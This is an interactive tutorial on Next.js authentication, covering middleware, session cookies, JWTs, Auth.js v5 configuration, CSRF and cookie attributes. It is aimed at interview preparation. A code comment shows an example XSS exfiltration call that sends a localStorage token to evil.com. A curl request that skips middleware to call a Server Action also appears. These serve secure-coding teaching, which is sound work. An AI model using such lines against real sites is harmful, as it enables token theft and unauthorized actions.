Next.js Auth Patterns

⏱️ ~5-minute bite · solve the sandbox to master

0%lesson

🧒

5-Year-Old Metaphor

— The physical, real-world picture. No jargon.

🚧 Middleware = bouncer. 🎫 Cookie session = wristband. 🔑 JWT = passport.

The venue analogy

Middleware (bouncer at the door): checks everyone before they enter. If you don't have a wristband, you're turned away at the gate — you never reach the dance floor. Fast, but the bouncer can be bypassed if there's a side door (direct API call).

Cookie session (wristband): proves you paid and were checked in. Checked at each attraction inside the venue. Stamped by the venue itself — hard to forge. But it's just a lookup key — the real data is stored at the wristband desk (Redis).

JWT (passport): self-contained document. Any official at any border can verify the stamp without calling the issuing country. But if stolen, it stays valid until it expires — no way to cancel it mid-flight.

Auth layer map

1
2	Request
3	│
4	▼
5	middleware.ts (Edge)
6	├─ Public path? → NextResponse.next()
7	├─ No token? → redirect("/login")
8	└─ Valid token → inject x-user-id header
9	│
10	▼
11	Route Handler / Server Component
12	├─ Read x-user-id from headers (safe — set by middleware)
13	└─ OR call auth() / getSession() for fresh verification
14	│
15	▼ (for mutations)
16	Server Action
17	└─ MUST call requireAuth() directly
18	middleware does NOT protect this

The critical insight: middleware is not a security boundary for mutations

Middleware runs for page navigation. But Server Actions can be triggered by a direct fetch() call to the action URL — no middleware involved. A malicious user can craft a request that skips the middleware entirely. Your Server Action must validate auth itself, before doing anything.

Middleware

UX redirects — sends unauthenticated users to /login

Routes only

Server Component

Read auth from verified session — display correct UI

Read-only

Server Action

Always re-validate before any mutation or sensitive read

Mutations ✓

🎛️

Interactive Sandbox

— Move something, see it react instantly.

Token lives:Server DB / Redis

Validated by:Session lookup on each request

Browser

POST /login

Credentials sent over HTTPS

Server

Creates session in DB/Redis

Stores userId, roles, expiry

Server

Set-Cookie: app_session=...

httpOnly; Secure; SameSite=Lax — only the opaque ID goes to browser

Browser

GET /dashboard (Cookie: app_session=...)

Auto-attached on every same-origin request

Server

Decode sealed cookie → userId

iron-session decrypts client-side seal — no DB round-trip needed with this approach

⚠ Gotcha: iron-session stores session data encrypted in the cookie itself (no Redis needed), but you lose instant revocation — you can't invalidate a client-side encrypted session until it expires.

💡 Insight: Traditional sessions store data server-side and send an opaque ID. iron-session is a hybrid: it encrypts data client-side in the cookie. Fast, but consider the revocation trade-off.

Explored:🎫🔑🚧⚡🔐

🎯

Challenge

Where should you validate auth for a Server Action that mutates data?

Try it

🎯

Why Should I Care?

— The exact interview question + the bug it kills.

Interview Q&A

Q: When should you choose JWT over session cookies?

A: JWT is stateless — useful for microservices where multiple servers need to validate tokens without a shared session DB. Session cookies require a central store but are easier to invalidate (just delete from DB).

1	// JWT: any server verifies — no shared state
2	// Good for: microservices, mobile APIs, cross-domain auth
3	const payload = await jwtVerify(token, key); // CPU only, no DB
4	const userId = payload.userId; // claim embedded in token
5
6	// Session: must reach shared Redis on every request
7	// Good for: web apps, instant revocation, admin panels
8	const session = await getSession(); // may call Redis
9	const userId = session.userId; // stored server-side

Q: Why use httpOnly cookies over localStorage for tokens?

A: httpOnly cookies are inaccessible to JavaScript — XSS attacks can't steal them. localStorage tokens are vulnerable to any script running on the page, including injected third-party scripts.

1	// ✗ localStorage — any XSS can steal this
2	localStorage.setItem("token", jwt);
3	// attacker: fetch("https://evil.com?t=" + localStorage.token)
4
5	// ✓ httpOnly cookie — JS cannot read it at all
6	// Set by server: Set-Cookie: token=...; HttpOnly; Secure
7	// document.cookie will NOT include httpOnly cookies
8	// fetch() will auto-send it but cannot read it
9
10	// ✓ For access tokens that must be in JS memory:
11	// Store in a module-level variable — lost on page refresh
12	// (that's OK — refresh token in httpOnly cookie re-issues it)

Q: Should you duplicate auth checks in middleware AND server actions?

A: Yes. Middleware protects routes for UX redirects. Server Actions must re-validate because middleware can be bypassed by direct API calls. Never trust middleware alone for mutations.

1	// middleware.ts — protects the PAGE from loading
2	// Can be bypassed: curl -X POST /app/actions/deletePost \
3	// -H "Next-Action: <action-id>" -d '{"postId":1}'
4	// ^ No browser navigation = middleware never runs
5
6	// server action — the REAL security boundary
7	"use server";
8	export async function deletePost(postId: number) {
9	const user = await requireAuth(); // re-verify every time
10	await requireOwnership(postId, user.id); // also check ownership
11	await db.post.delete({ where: { id: postId } });
12	}

🔬

The Deep Dive

— Spec refs, engine internals, the minutiae.

Auth.js v5: auth.ts config

Auth.js v5 (NextAuth) uses a single auth.ts config file that exports named helpers. The old authOptions object + getServerSession(authOptions) pattern is gone in v5.

1	// auth.ts — the entire Auth.js config
2	import NextAuth from "next-auth";
3	import GitHub from "next-auth/providers/github";
4
5	export const { handlers, auth, signIn, signOut } = NextAuth({
6	providers: [GitHub],
7	callbacks: {
8	// Add custom fields to every session
9	async session({ session, user }) {
10	session.user.id = user.id; // from DB adapter
11	session.user.role = user.role; // custom field you added
12	return session;
13	},
14	// Control who can sign in
15	async signIn({ user, account }) {
16	if (account?.provider === "github") {
17	// Example: only allow @yourcompany.com emails
18	return user.email?.endsWith("@yourcompany.com") ?? false;
19	}
20	return true;
21	},
22	},
23	pages: {
24	signIn: "/login", // custom sign-in page
25	error: "/auth/error", // custom error page
26	},
27	});
28
29	// Usage in Server Component or Server Action:
30	const session = await auth(); // reads + validates session
31	if (!session) redirect("/login");

CSRF protection: how Auth.js handles it automatically

Auth.js generates a random state parameter for every OAuth redirect, stores it in a signed cookie, and verifies it on callback. This prevents CSRF: an attacker can't initiate a login flow on your behalf because they can't predict or forge the state value. For custom forms, use Auth.js's getCsrfToken().

1	// Auth.js OAuth CSRF flow (automatic):
2	// 1. GET /api/auth/signin/github
3	// → server generates state=<random>, stores in signed cookie
4	// → redirects to GitHub with &state=<random>
5	//
6	// 2. GitHub redirects back: /api/auth/callback/github?code=X&state=<random>
7	// → Auth.js reads state from cookie, compares to query param
8	// → mismatch = CSRF attempt, request rejected
9	// → match = continue token exchange
10
11	// For custom form sign-in:
12	// app/login/page.tsx
13	import { getCsrfToken } from "next-auth/react";
14
15	export default async function LoginPage() {
16	const csrfToken = await getCsrfToken();
17	return (
18	<form action="/api/auth/callback/credentials" method="POST">
19	<input name="csrfToken" type="hidden" value={csrfToken} />
20	{/* email, password inputs */}
21	</form>
22	);
23	}

Cookie attributes: httpOnly, sameSite, secure

Attribute	What it does	Auth usage
HttpOnly	Prevents JS from reading via document.cookie	Always set on session/JWT cookies — blocks XSS theft
Secure	Cookie only sent over HTTPS	Required in production — prevents network interception
SameSite=Strict	Cookie not sent on cross-site requests at all	Maximum CSRF protection — breaks OAuth flows (use Lax instead)
SameSite=Lax	Sent on same-site + top-level navigation GET	Auth.js default — balances CSRF protection with OAuth compatibility
SameSite=None	Sent on all cross-site requests	Required for embedded iframes — must pair with Secure

Why to never store sensitive data in JWTs

JWT payload is Base64url encoded — NOT encrypted. Anyone who intercepts the cookie (server logs, CDN logs, proxy logs) can decode the claims in seconds. The signature prevents tampering but provides no confidentiality.

1	// Anyone can decode JWT payload with one line:
2	atob("eyJ1c2VySWQiOjQyLCJyb2xlIjoiYWRtaW4ifQ==")
3	// → {"userId":42,"role":"admin"}
4
5	// What's safe in JWT payload:
6	{ userId: 42, role: "member", exp: 1234567890 }
7
8	// What's NOT safe in JWT payload:
9	{ userId: 42, ssn: "123-45-6789" } // PII
10	{ userId: 42, passwordHash: "..." } // credentials
11	{ userId: 42, creditCard: "..." } // payment data
12
13	// If you need encrypted JWTs: use JWE (JSON Web Encryption)
14	// jose library supports JWE with AES-256-GCM
15	import { EncryptJWT } from "jose";
16	const jwe = await new EncryptJWT(payload)
17	.setProtectedHeader({ alg: "dir", enc: "A256GCM" })
18	.encrypt(encryptionKey); // payload now actually encrypted

🎤

Interview Questions

— Real questions from real interviews — with answers.

Middleware only intercepts page navigation — Server Actions can be called directly via fetch, bypassing it.

httpOnly cookies are inaccessible to JavaScript — XSS can't read them.

JWT for stateless multi-service auth; database sessions for instant revocation and rich server-side data.

Named exports replace authOptions; auth() replaces getServerSession(authOptions); App Router compatible.

Use the session callback to merge extra user fields from the DB adapter into the session object.

🎮

Memory Game

— Quick quiz — lock the concept in long-term memory.

1/4

What is the main trade-off of JWT sessions vs. database sessions for revocation?